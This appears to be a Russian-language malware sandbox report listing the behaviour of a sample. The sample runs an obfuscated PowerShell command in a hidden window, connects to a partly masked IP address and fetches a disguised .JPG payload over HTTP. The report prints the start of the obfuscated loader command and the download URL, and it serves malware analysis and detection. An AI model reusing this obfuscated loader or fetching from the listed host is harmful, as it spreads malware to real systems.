Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $JSEFRQJSPVDRGROZOPFGFR = '[S=@$61=&}$$_%5[89!65EM.I{<$)98^$0%<3#^6[4!/{<=MREAdER]'.Replace('=@$61=&}$$_%5[89!65','ySt').Replace('{<$)98^$0%<3#^6[4!/{<=','O.StREA');$KXHDZPGEELCJCKFVFQWWAL = ...
Сетевая активность
Подключается к
- '76.##8.248.199':80
TCP
Запросы HTTP GET
- http://76.##8.248.199/RtDtFYGUhDRtYGU/ERtYVUtFRDtYUIEXRCtVYBUNI.JPG
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $JSEFRQJSPVDRGROZOPFGFR = '[S=@$61=&}$$_%5[89!65EM.I{<$)98^$0%<3#^6[4!/{<=MREAdER]'.Replace('=@$61=&}$$_%5[89!65','ySt').Replace('{<$)98^$0%<3#^6[4!/{<=','O.StREA');$KXHDZPGEELCJCKFVFQWWAL = ...' (со скрытым окном)
